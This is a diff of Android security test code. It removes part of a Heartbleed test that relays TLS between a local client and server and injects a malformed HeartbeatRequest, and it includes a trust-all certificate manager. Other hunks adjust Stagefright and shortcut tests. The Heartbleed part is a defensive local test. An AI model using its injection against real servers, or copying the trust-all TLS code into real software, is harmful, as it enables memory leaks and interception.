-        // Wait for the server and throw an exception if it failed.
-        serverFuture.get(5, TimeUnit.SECONDS);
-        // Throw an exception if the client failed.
-        if (clientException != null) {
-            throw clientException;
-        }
-        Log.i(TAG, "Handshake completed and application data exchanged");
-    }
-
-    private void clientConnectAndHandshake(SocketAddress serverAddress) throws Exception {
-        SSLContext sslContext = SSLContext.getInstance("TLS");
-        sslContext.init(
-                null,
-                new TrustManager[] {new TrustAllX509TrustManager()},
-                null);
-        SSLSocket socket = (SSLSocket) sslContext.getSocketFactory().createSocket();
-        setClientSocket(socket);
-        try {
-            Log.i(TAG, "Client connecting to " + serverAddress);
-            socket.connect(serverAddress);
-            Log.i(TAG, "Client connected to server from " + socket.getLocalSocketAddress());
-            // Ensure a TLS handshake is performed and an exception is thrown if it fails.
-            socket.getOutputStream().write("client".getBytes());
-            socket.getOutputStream().flush();
-            Log.i(TAG, "Client sent request. Reading response");
-            int b = socket.getInputStream().read();
-            Log.i(TAG, "Client read response: " + b);
-        } catch (Exception e) {
-            Log.w(TAG, "Client failed", e);
-            throw e;
-          } finally {
-            socket.close();
-        }
-    }
-
-    public SSLServerSocket serverBind() throws Exception {
-        // Load the server's private key and cert chain
-        KeyFactory keyFactory = KeyFactory.getInstance("RSA");
-        PrivateKey privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(
-                readResource(
-                        getInstrumentation().getContext(), R.raw.openssl_heartbleed_test_key)));
-        CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
-        X509Certificate[] certChain =  new X509Certificate[] {
-                (X509Certificate) certFactory.generateCertificate(
-                        new ByteArrayInputStream(readResource(
-                                getInstrumentation().getContext(),
-                                R.raw.openssl_heartbleed_test_cert)))
-        };
-
-        // Initialize TLS context to use the private key and cert chain for server sockets
-        SSLContext sslContext = SSLContext.getInstance("TLS");
-        sslContext.init(
-                new KeyManager[] {new HardcodedCertX509KeyManager(privateKey, certChain)},
-                null,
-                null);
-
-        Log.i(TAG, "Server binding to local port");
-        return (SSLServerSocket) sslContext.getServerSocketFactory().createServerSocket(0);
-    }
-
-    private void serverAcceptAndHandshake() throws Exception {
-        SSLSocket socket = null;
-        SSLServerSocket serverSocket = getServerListeningSocket();
-        try {
-            Log.i(TAG, "Server listening for incoming connection");
-            socket = (SSLSocket) serverSocket.accept();
-            setServerSocket(socket);
-            Log.i(TAG, "Server accepted connection from " + socket.getRemoteSocketAddress());
-            // Ensure a TLS handshake is performed and an exception is thrown if it fails.
-            socket.getOutputStream().write("server".getBytes());
-            socket.getOutputStream().flush();
-            Log.i(TAG, "Server sent reply. Reading response");
-            int b = socket.getInputStream().read();
-            Log.i(TAG, "Server read response: " + b);
-        } catch (Exception e) {
-          Log.w(TAG, "Server failed", e);
-          throw e;
-        } finally {
-            if (socket != null) {
-                socket.close();
-            }
-        }
-    }
-
-    private ServerSocket mitmBind() throws Exception {
-        Log.i(TAG, "MiTM binding to local port");
-        return ServerSocketFactory.getDefault().createServerSocket(0);
-    }
-
-    /**
-     * Accepts the connection on the MiTM listening socket, forwards the TLS records between the
-     * client and the server, and, if requested, injects a {@code HeartbeatRequest}.
-     *
-     * @param injectHeartbeat whether to inject a {@code HeartbeatRequest} message.
-     * @param injectIntoClient when {@code injectHeartbeat} is {@code true}, whether to inject the
-     *        {@code HeartbeatRequest} message into client or into server.
-     */
-    private void mitmAcceptAndForward(
-            SocketAddress serverAddress,
-            final boolean injectHeartbeat,
-            final boolean injectIntoClient) throws Exception {
-        Socket clientSocket = null;
-        Socket serverSocket = null;
-        ServerSocket listeningSocket = getMitmListeningSocket();
-        try {
-            Log.i(TAG, "MiTM waiting for incoming connection");
-            clientSocket = listeningSocket.accept();
-            setMitmClientSocket(clientSocket);
-            Log.i(TAG, "MiTM accepted connection from " + clientSocket.getRemoteSocketAddress());
-            serverSocket = SocketFactory.getDefault().createSocket();
-            setMitmServerSocket(serverSocket);
-            Log.i(TAG, "MiTM connecting to server " + serverAddress);
-            serverSocket.connect(serverAddress, 10000);
-            Log.i(TAG, "MiTM connected to server from " + serverSocket.getLocalSocketAddress());
-            final InputStream serverInputStream = serverSocket.getInputStream();
-            final OutputStream clientOutputStream = clientSocket.getOutputStream();
-            Future<Void> serverToClientTask = mExecutorService.submit(new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    // Inject HeatbeatRequest after ServerHello, if requested
-                    forwardTlsRecords(
-                            "MiTM S->C",
-                            serverInputStream,
-                            clientOutputStream,
-                            (injectHeartbeat && injectIntoClient)
-                                    ? HandshakeMessage.TYPE_SERVER_HELLO : -1);
-                    return null;
-                }
-            });
-            // Inject HeatbeatRequest after ClientKeyExchange, if requested
-            forwardTlsRecords(
-                    "MiTM C->S",
-                    clientSocket.getInputStream(),
-                    serverSocket.getOutputStream(),
-                    (injectHeartbeat && !injectIntoClient)
-                            ? HandshakeMessage.TYPE_CLIENT_KEY_EXCHANGE : -1);
-            serverToClientTask.get(10, TimeUnit.SECONDS);
-        } catch (Exception e) {
-            Log.w(TAG, "MiTM failed", e);
-            throw e;
-          } finally {
-            closeQuietly(clientSocket);
-            closeQuietly(serverSocket);
-        }
-    }
-
-    /**
-     * Forwards TLS records from the provided {@code InputStream} to the provided
-     * {@code OutputStream}. If requested, injects a {@code HeartbeatMessage}.
-     */
-    private void forwardTlsRecords(
-            String logPrefix,
-            InputStream in,
-            OutputStream out,
-            int handshakeMessageTypeAfterWhichToInjectHeartbeatRequest) throws Exception {
-        Log.i(TAG, logPrefix + ": record forwarding started");
-        boolean interestingRecordsLogged =
-                handshakeMessageTypeAfterWhichToInjectHeartbeatRequest == -1;
-        try {
-            TlsRecordReader reader = new TlsRecordReader(in);
-            byte[] recordBytes;
-            // Fragments contained in records may be encrypted after a certain point in the
-            // handshake. Once they are encrypted, this MiTM cannot inspect their plaintext which.
-            boolean fragmentEncryptionMayBeEnabled = false;
-            while ((recordBytes = reader.readRecord()) != null) {
-                TlsRecord record = TlsRecord.parse(recordBytes);
-                forwardTlsRecord(logPrefix,
-                        recordBytes,
-                        record,
-                        fragmentEncryptionMayBeEnabled,
-                        out,
-                        interestingRecordsLogged,
-                        handshakeMessageTypeAfterWhichToInjectHeartbeatRequest);
-                if (record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC) {
-                    fragmentEncryptionMayBeEnabled = true;
-                }
-            }
-        } catch (Exception e) {
-            Log.w(TAG, logPrefix + ": failed", e);
-            throw e;
-        } finally {
-            Log.d(TAG, logPrefix + ": record forwarding finished");
-        }
-    }
-
-    private void forwardTlsRecord(
-            String logPrefix,
-            byte[] recordBytes,
-            TlsRecord record,
-            boolean fragmentEncryptionMayBeEnabled,
-            OutputStream out,
-            boolean interestingRecordsLogged,
-            int handshakeMessageTypeAfterWhichToInjectHeartbeatRequest) throws IOException {
-        // Save information about the records if its of interest to this test
-        if (interestingRecordsLogged) {
-            switch (record.protocol) {
-                case TlsProtocols.ALERT:
-                    if (!fragmentEncryptionMayBeEnabled) {
-                        AlertMessage alert = AlertMessage.tryParse(record);
-                        if ((alert != null) && (alert.level == AlertMessage.LEVEL_FATAL)) {
-                            setFatalAlertDetected(alert.description);
-                        }
-                    }
-                    break;
-                case TlsProtocols.HEARTBEAT:
-                    // When TLS records are encrypted, we cannot determine whether a
-                    // heartbeat is a HeartbeatResponse. In our setup, the client and the
-                    // server are not expected to sent HeartbeatRequests. Thus, we err on
-                    // the side of caution and assume that any heartbeat message sent by
-                    // client or server is a HeartbeatResponse.
-                    Log.e(TAG, logPrefix
-                            + ": heartbeat response detected -- vulnerable to Heartbleed");
-                    setHeartbeatResponseWasDetected();
-                    break;
-            }
-        }
-
-        Log.i(TAG, logPrefix + ": Forwarding TLS record. "
-                + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
-        out.write(recordBytes);
-        out.flush();
-
-        // Inject HeartbeatRequest, if necessary, after the specified handshake message type
-        if (handshakeMessageTypeAfterWhichToInjectHeartbeatRequest != -1) {
-            if ((!fragmentEncryptionMayBeEnabled) && (isHandshakeMessageType(
-                    record, handshakeMessageTypeAfterWhichToInjectHeartbeatRequest))) {
-                // The Heartbeat Request message below is malformed because its declared
-                // length of payload one byte larger than the actual payload. The peer is
-                // supposed to reject such messages.
-                byte[] payload = "arbitrary".getBytes("US-ASCII");
-                byte[] heartbeatRequestRecordBytes = createHeartbeatRequestRecord(
-                        record.versionMajor,
-                        record.versionMinor,
-                        payload.length + 1,
-                        payload);
-                Log.i(TAG, logPrefix + ": Injecting malformed HeartbeatRequest: "
-                        + getRecordInfo(
-                                TlsRecord.parse(heartbeatRequestRecordBytes), false));
-                setHeartbeatRequestWasInjected();
-                out.write(heartbeatRequestRecordBytes);
-                out.flush();
-            }
-        }
-    }
-
-    private static String getRecordInfo(TlsRecord record, boolean mayBeEncrypted) {
-        StringBuilder result = new StringBuilder();
-        result.append(getProtocolName(record.protocol))
-                .append(", ")
-                .append(getFragmentInfo(record, mayBeEncrypted));
-        return result.toString();
-    }
-
-    private static String getProtocolName(int protocol) {
-        switch (protocol) {
-            case TlsProtocols.ALERT:
-                return "alert";
-            case TlsProtocols.APPLICATION_DATA:
-                return "application data";
-            case TlsProtocols.CHANGE_CIPHER_SPEC:
-                return "change cipher spec";
-            case TlsProtocols.HANDSHAKE:
-                return "handshake";
-            case TlsProtocols.HEARTBEAT:
-                return "heatbeat";
-            default:
-                return String.valueOf(protocol);
-        }
-    }
-
-    private static String getFragmentInfo(TlsRecord record, boolean mayBeEncrypted) {
-        StringBuilder result = new StringBuilder();
-        if (mayBeEncrypted) {
-            result.append("encrypted?");
-        } else {
-            switch (record.protocol) {
-                case TlsProtocols.ALERT:
-                    result.append("level: " + ((record.fragment.length > 0)
-                            ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
-                    + ", description: "
-                    + ((record.fragment.length > 1)
-                            ? String.valueOf(record.fragment[1] & 0xff) : "n/a"));
-                    break;
-                case TlsProtocols.APPLICATION_DATA:
-                    break;
-                case TlsProtocols.CHANGE_CIPHER_SPEC:
-                    result.append("payload: " + ((record.fragment.length > 0)
-                            ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
-                    break;
-                case TlsProtocols.HANDSHAKE:
-                    result.append("type: " + ((record.fragment.length > 0)
-                            ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
-                    break;
-                case TlsProtocols.HEARTBEAT:
-                    result.append("type: " + ((record.fragment.length > 0)
-                            ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
-                            + ", payload length: "
-                            + ((record.fragment.length >= 3)
-                                    ? String.valueOf(
-                                            getUnsignedShortBigEndian(record.fragment, 1))
-                                    : "n/a"));
-                    break;
-            }
-        }
-        result.append(", ").append("fragment length: " + record.fragment.length);
-        return result.toString();
-    }
-
-    private synchronized void setServerListeningSocket(SSLServerSocket socket) {
-        mServerListeningSocket = socket;
-    }
-
-    private synchronized SSLServerSocket getServerListeningSocket() {
-        return mServerListeningSocket;
-    }
-
-    private synchronized void setServerSocket(SSLSocket socket) {
-        mServerSocket = socket;
-    }
-
-    private synchronized SSLSocket getServerSocket() {
-        return mServerSocket;
-    }
-
-    private synchronized void setClientSocket(SSLSocket socket) {
-        mClientSocket = socket;
-    }
-
-    private synchronized SSLSocket getClientSocket() {
-        return mClientSocket;
-    }
-
-    private synchronized void setMitmListeningSocket(ServerSocket socket) {
-        mMitmListeningSocket = socket;
-    }
-
-    private synchronized ServerSocket getMitmListeningSocket() {
-        return mMitmListeningSocket;
-    }
-
-    private synchronized void setMitmServerSocket(Socket socket) {
-        mMitmServerSocket = socket;
-    }
-
-    private synchronized Socket getMitmServerSocket() {
-        return mMitmServerSocket;
-    }
-
-    private synchronized void setMitmClientSocket(Socket socket) {
-        mMitmClientSocket = socket;
-    }
-
-    private synchronized Socket getMitmClientSocket() {
-        return mMitmClientSocket;
-    }
-
-    private synchronized void setHeartbeatRequestWasInjected() {
-        mHeartbeatRequestWasInjected = true;
-    }
-
-    private synchronized boolean wasHeartbeatRequestInjected() {
-        return mHeartbeatRequestWasInjected;
-    }
-
-    private synchronized void setHeartbeatResponseWasDetected() {
-        mHeartbeatResponseWasDetetected = true;
-    }
-
-    private synchronized boolean wasHeartbeatResponseDetected() {
-        return mHeartbeatResponseWasDetetected;
-    }
-
-    private synchronized void setFatalAlertDetected(int description) {
-        if (mFirstDetectedFatalAlertDescription == -1) {
-            mFirstDetectedFatalAlertDescription = description;
-        }
-    }
-
-    private synchronized int getFirstDetectedFatalAlertDescription() {
-        return mFirstDetectedFatalAlertDescription;
-    }
-
-    public static abstract class TlsProtocols {
-        public static final int CHANGE_CIPHER_SPEC = 20;
-        public static final int ALERT = 21;
-        public static final int HANDSHAKE = 22;
-        public static final int APPLICATION_DATA = 23;
-        public static final int HEARTBEAT = 24;
-        private TlsProtocols() {}
-    }
-
-    public static class TlsRecord {
-        public int protocol;
-        public int versionMajor;
-        public int versionMinor;
-        public byte[] fragment;
-
-        public static TlsRecord parse(byte[] record) throws IOException {
-            TlsRecord result = new TlsRecord();
-            if (record.length < TlsRecordReader.RECORD_HEADER_LENGTH) {
-                throw new IOException("Record too short: " + record.length);
-            }
-            result.protocol = record[0] & 0xff;
-            result.versionMajor = record[1] & 0xff;
-            result.versionMinor = record[2] & 0xff;
-            int fragmentLength = getUnsignedShortBigEndian(record, 3);
-            int actualFragmentLength = record.length - TlsRecordReader.RECORD_HEADER_LENGTH;
-            if (fragmentLength != actualFragmentLength) {
-                throw new IOException("Fragment length mismatch. Expected: " + fragmentLength
-                        + ", actual: " + actualFragmentLength);
-            }
-            result.fragment = new byte[fragmentLength];
-            System.arraycopy(
-                    record, TlsRecordReader.RECORD_HEADER_LENGTH,
-                    result.fragment, 0,
-                    fragmentLength);
-            return result;
-        }
-
-        public static byte[] unparse(TlsRecord record) {
-            byte[] result = new byte[TlsRecordReader.RECORD_HEADER_LENGTH + record.fragment.length];
-            result[0] = (byte) record.protocol;
-            result[1] = (byte) record.versionMajor;
-            result[2] = (byte) record.versionMinor;
-            putUnsignedShortBigEndian(result, 3, record.fragment.length);
-            System.arraycopy(
-                    record.fragment, 0,
-                    result, TlsRecordReader.RECORD_HEADER_LENGTH,
-                    record.fragment.length);
-            return result;
-        }
-    }
-
-    public static final boolean isHandshakeMessageType(TlsRecord record, int type) {
-        HandshakeMessage handshake = HandshakeMessage.tryParse(record);
-        if (handshake == null) {
-            return false;
-        }
-        return handshake.type == type;
-    }
-
-    public static class HandshakeMessage {
-        public static final int TYPE_SERVER_HELLO = 2;
-        public static final int TYPE_CERTIFICATE = 11;
-        public static final int TYPE_CLIENT_KEY_EXCHANGE = 16;
-
-        public int type;
-
-        /**
-         * Parses the provided TLS record as a handshake message.
-         *
-         * @return alert message or {@code null} if the record does not contain a handshake message.
-         */
-        public static HandshakeMessage tryParse(TlsRecord record) {
-            if (record.protocol != TlsProtocols.HANDSHAKE) {
-                return null;
-            }
-            if (record.fragment.length < 1) {
-                return null;
-            }
-            HandshakeMessage result = new HandshakeMessage();
-            result.type = record.fragment[0] & 0xff;
-            return result;
-        }
-    }
-
-    public static class AlertMessage {
-        public static final int LEVEL_FATAL = 2;
-        public static final int DESCRIPTION_UNEXPECTED_MESSAGE = 10;
-
-        public int level;
-        public int description;
-
-        /**
-         * Parses the provided TLS record as an alert message.
-         *
-         * @return alert message or {@code null} if the record does not contain an alert message.
-         */
-        public static AlertMessage tryParse(TlsRecord record) {
-            if (record.protocol != TlsProtocols.ALERT) {
-                return null;
-            }
-            if (record.fragment.length < 2) {
-                return null;
-            }
-            AlertMessage result = new AlertMessage();
-            result.level = record.fragment[0] & 0xff;
-            result.description = record.fragment[1] & 0xff;
-            return result;
-        }
-    }
-
-    private static abstract class HeartbeatProtocol {
-        private HeartbeatProtocol() {}
-
-        private static final int MESSAGE_TYPE_REQUEST = 1;
-        @SuppressWarnings("unused")
-        private static final int MESSAGE_TYPE_RESPONSE = 2;
-
-        private static final int MESSAGE_HEADER_LENGTH = 3;
-        private static final int MESSAGE_PADDING_LENGTH = 16;
-    }
-
-    private static byte[] createHeartbeatRequestRecord(
-            int versionMajor, int versionMinor,
-            int declaredPayloadLength, byte[] payload) {
-
-        byte[] fragment = new byte[HeartbeatProtocol.MESSAGE_HEADER_LENGTH
-                + payload.length + HeartbeatProtocol.MESSAGE_PADDING_LENGTH];
-        fragment[0] = HeartbeatProtocol.MESSAGE_TYPE_REQUEST;
-        putUnsignedShortBigEndian(fragment, 1, declaredPayloadLength); // payload_length
-        TlsRecord record = new TlsRecord();
-        record.protocol = TlsProtocols.HEARTBEAT;
-        record.versionMajor = versionMajor;
-        record.versionMinor = versionMinor;
-        record.fragment = fragment;
-        return TlsRecord.unparse(record);
-    }
-
-    /**
-     * Reader of TLS records.
-     */
-    public static class TlsRecordReader {
-        private static final int MAX_RECORD_LENGTH = 16384;
-        public static final int RECORD_HEADER_LENGTH = 5;
-
-        private final InputStream in;
-        private final byte[] buffer;
-        private int firstBufferedByteOffset;
-        private int bufferedByteCount;
-
-        public TlsRecordReader(InputStream in) {
-            this.in = in;
-            buffer = new byte[MAX_RECORD_LENGTH];
-        }
-
-        /**
-         * Reads the next TLS record.
-         *
-         * @return TLS record or {@code null} if EOF was encountered before any bytes of a record
-         *         could be read.
-         */
-        public byte[] readRecord() throws IOException {
-            // Ensure that a TLS record header (or more) is in the buffer.
-            if (bufferedByteCount < RECORD_HEADER_LENGTH) {
-                boolean eofPermittedInstead = (bufferedByteCount == 0);
-                boolean eofEncounteredInstead =
-                        !readAtLeast(RECORD_HEADER_LENGTH, eofPermittedInstead);
-                if (eofEncounteredInstead) {
-                    // End of stream reached exactly before a TLS record start.
-                    return null;
-                }
-            }
-
-            // TLS record header (or more) is in the buffer.
-            // Ensure that the rest of the record is in the buffer.
-            int fragmentLength = getUnsignedShortBigEndian(buffer, firstBufferedByteOffset + 3);
-            int recordLength = RECORD_HEADER_LENGTH + fragmentLength;
-            if (recordLength > MAX_RECORD_LENGTH) {
-                throw new IOException("TLS record too long: " + recordLength);
-            }
-            if (bufferedByteCount < recordLength) {
-                readAtLeast(recordLength - bufferedByteCount, false);
-            }
-
-            // TLS record (or more) is in the buffer.
-            byte[] record = new byte[recordLength];
-            System.arraycopy(buffer, firstBufferedByteOffset, record, 0, recordLength);
-            firstBufferedByteOffset += recordLength;
-            bufferedByteCount -= recordLength;
-            return record;
-        }
-
-        /**
-         * Reads at least the specified number of bytes from the underlying {@code InputStream} into
-         * the {@code buffer}.
-         *
-         * <p>Bytes buffered but not yet returned to the client in the {@code buffer} are relocated
-         * to the start of the buffer to make space if necessary.
-         *
-         * @param eofPermittedInstead {@code true} if it's permitted for an EOF to be encountered
-         *        without any bytes having been read.
-         *
-         * @return {@code true} if the requested number of bytes (or more) has been read,
-         *         {@code false} if {@code eofPermittedInstead} was {@code true} and EOF was
-         *         encountered when no bytes have yet been read.
-         */
-        private boolean readAtLeast(int size, boolean eofPermittedInstead) throws IOException {
-            ensureRemainingBufferCapacityAtLeast(size);
-            boolean firstAttempt = true;
-            while (size > 0) {
-                int chunkSize = in.read(
-                        buffer,
-                        firstBufferedByteOffset + bufferedByteCount,
-                        buffer.length - (firstBufferedByteOffset + bufferedByteCount));
-                if (chunkSize == -1) {
-                    if ((firstAttempt) && (eofPermittedInstead)) {
-                        return false;
-                    } else {
-                        throw new EOFException("Premature EOF");
-                    }
-                }
-                firstAttempt = false;
-                bufferedByteCount += chunkSize;
-                size -= chunkSize;
-            }
-            return true;
-        }
-
-        /**
-         * Ensures that there is enough capacity in the buffer to store the specified number of
-         * bytes at the {@code firstBufferedByteOffset + bufferedByteCount} offset.
-         */
-        private void ensureRemainingBufferCapacityAtLeast(int size) throws IOException {
-            int bufferCapacityRemaining =
-                    buffer.length - (firstBufferedByteOffset + bufferedByteCount);
-            if (bufferCapacityRemaining >= size) {
-                return;
-            }
-            // Insufficient capacity at the end of the buffer.
-            if (firstBufferedByteOffset > 0) {
-                // Some of the bytes at the start of the buffer have already been returned to the
-                // client of this reader. Check if moving the remaining buffered bytes to the start
-                // of the buffer will make enough space at the end of the buffer.
-                bufferCapacityRemaining += firstBufferedByteOffset;
-                if (bufferCapacityRemaining >= size) {
-                    System.arraycopy(buffer, firstBufferedByteOffset, buffer, 0, bufferedByteCount);
-                    firstBufferedByteOffset = 0;
-                    return;
-                }
-            }
-
-            throw new IOException("Insuffucient remaining capacity in the buffer. Requested: "
-                    + size + ", remaining: " + bufferCapacityRemaining);
-        }
-    }
-
-    private static int getUnsignedShortBigEndian(byte[] buf, int offset) {
-        return ((buf[offset] & 0xff) << 8) | (buf[offset + 1] & 0xff);
-    }
-
-    private static void putUnsignedShortBigEndian(byte[] buf, int offset, int value) {
-        buf[offset] = (byte) ((value >>> 8) & 0xff);
-        buf[offset + 1] = (byte) (value & 0xff);
-    }
-
-    // IMPLEMENTATION NOTE: We can't implement just one closeQueietly(Closeable) because on some
-    // older Android platforms Socket did not implement these interfaces. To make this patch easy to
-    // apply to these older platforms, we declare all the variants of closeQuietly that are needed
-    // without relying on the Closeable interface.
-
-    private static void closeQuietly(InputStream in) {
-        if (in != null) {
-            try {
-                in.close();
-            } catch (IOException ignored) {}
-        }
-    }
-
-    public static void closeQuietly(ServerSocket socket) {
-        if (socket != null) {
-            try {
-                socket.close();
-            } catch (IOException ignored) {}
-        }
-    }
-
-    public static void closeQuietly(Socket socket) {
-        if (socket != null) {
-            try {
-                socket.close();
-            } catch (IOException ignored) {}
-        }
-    }
-
-    public static byte[] readResource(Context context, int resId) throws IOException {
-        ByteArrayOutputStream result = new ByteArrayOutputStream();
-        InputStream in = null;
-        byte[] buf = new byte[16 * 1024];
-        try {
-            in = context.getResources().openRawResource(resId);
-            int chunkSize;
-            while ((chunkSize = in.read(buf)) != -1) {
-                result.write(buf, 0, chunkSize);
-            }
-            return result.toByteArray();
-        } finally {
-            closeQuietly(in);
-        }
-    }
-
-    /**
-     * {@link X509TrustManager} which trusts all certificate chains.
-     */
-    public static class TrustAllX509TrustManager implements X509TrustManager {
-        @Override
-        public void checkClientTrusted(X509Certificate[] chain, String authType)
-                throws CertificateException {
-        }
-
-        @Override
-        public void checkServerTrusted(X509Certificate[] chain, String authType)
-                throws CertificateException {
-        }
-
-        @Override
-        public X509Certificate[] getAcceptedIssuers() {
-            return new X509Certificate[0];
-        }
-    }
-
-    /**
-     * {@link X509KeyManager} which uses the provided private key and cert chain for all sockets.
-     */
-    public static class HardcodedCertX509KeyManager implements X509KeyManager {
-
-        private final PrivateKey mPrivateKey;
-        private final X509Certificate[] mCertChain;
-
-        HardcodedCertX509KeyManager(PrivateKey privateKey, X509Certificate[] certChain) {
-            mPrivateKey = privateKey;
-            mCertChain = certChain;
-        }
-
-        @Override
-        public String chooseClientAlias(String[] keyType, Principal[] issuers, Socket socket) {
-            return null;
-        }
-
-        @Override
-        public String chooseServerAlias(String keyType, Principal[] issuers, Socket socket) {
-            return "singleton";
-        }
-
-        @Override
-        public X509Certificate[] getCertificateChain(String alias) {
-            return mCertChain;
-        }
-
-        @Override
-        public String[] getClientAliases(String keyType, Principal[] issuers) {
-            return null;
-        }
-
-        @Override
-        public PrivateKey getPrivateKey(String alias) {
-            return mPrivateKey;
-        }
-
-        @Override
-        public String[] getServerAliases(String keyType, Principal[] issuers) {
-            return new String[] {"singleton"};
-        }
-    }
-}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 39286a1..62ca28d 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -45,8 +45,11 @@
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
 
+import java.io.BufferedInputStream;
 import java.io.FileInputStream;
 import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.HashMap;
@@ -447,12 +450,38 @@
         CtsTestServer server = new CtsTestServer(context);
         String rname = resources.getResourceEntryName(rid);
         String url = server.getAssetUrl("raw/" + rname);
+        verifyServer(rid, url);
         doStagefrightTestMediaPlayer(url);
         doStagefrightTestMediaCodec(url);
         doStagefrightTestMediaMetadataRetriever(url);
         server.shutdown();
     }
 
+    // verify that CtsTestServer is functional by retrieving the asset
+    // and comparing it to the resource
+    private void verifyServer(final int rid, final String uri) throws Exception {
+        Log.i(TAG, "checking server");
+        URL url = new URL(uri);
+        InputStream in1 = new BufferedInputStream(url.openStream());
+
+        AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+                        .openRawResourceFd(rid);
+        InputStream in2 = new BufferedInputStream(fd.createInputStream());
+
+        while (true) {
+            int b1 = in1.read();
+            int b2 = in2.read();
+            assertEquals("CtsTestServer fail", b1, b2);
+            if (b1 < 0) {
+                break;
+            }
+        }
+
+        in1.close();
+        in2.close();
+        Log.i(TAG, "checked server");
+    }
+
     private void doStagefrightTestANR(final int rid) throws Exception {
         doStagefrightTestMediaPlayerANR(rid, null);
     }
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index bab2674..56969bb 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -234,14 +234,14 @@
     }
 
     public void testSetDynamicShortcuts() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1", "title1"),
                     makeShortcut("s2", "title2"),
                     makeShortcut("s3", "title3"))));
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -262,12 +262,12 @@
         });
 
         // Publish from different package.
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1x", "title1x"))));
         });
 
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -282,7 +282,7 @@
         });
 
         // Package 1 still has the same shortcuts.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -302,12 +302,12 @@
                     .isEmpty();
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s2", "title2-updated"))));
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -321,11 +321,11 @@
                     .isEmpty();
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list()));
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .isEmpty();
             assertWith(getManager().getPinnedShortcuts())
@@ -335,7 +335,7 @@
         });
 
         // Package2 still has the same shortcuts.
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -361,7 +361,7 @@
                 getTestContext().getResources(), R.drawable.black_16x64));
         final Icon icon6 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
                 getTestContext().getResources(), R.drawable.black_32x32));
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo source = makeShortcutBuilder("s1")
                     .setShortLabel("shortlabel")
                     .setLongLabel("longlabel")
@@ -392,7 +392,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -418,7 +418,7 @@
                     getIconAsLauncher(mLauncherContext1, mPackageContext1.getPackageName(), "s1"));
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo source = makeShortcutBuilder("s1")
                     .setShortLabel("shortlabel")
                     .setLongLabel("longlabel")
@@ -450,7 +450,7 @@
         });
 
         // paranoid icon check
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -469,7 +469,7 @@
                     icon2);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -489,7 +489,7 @@
         });
 
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
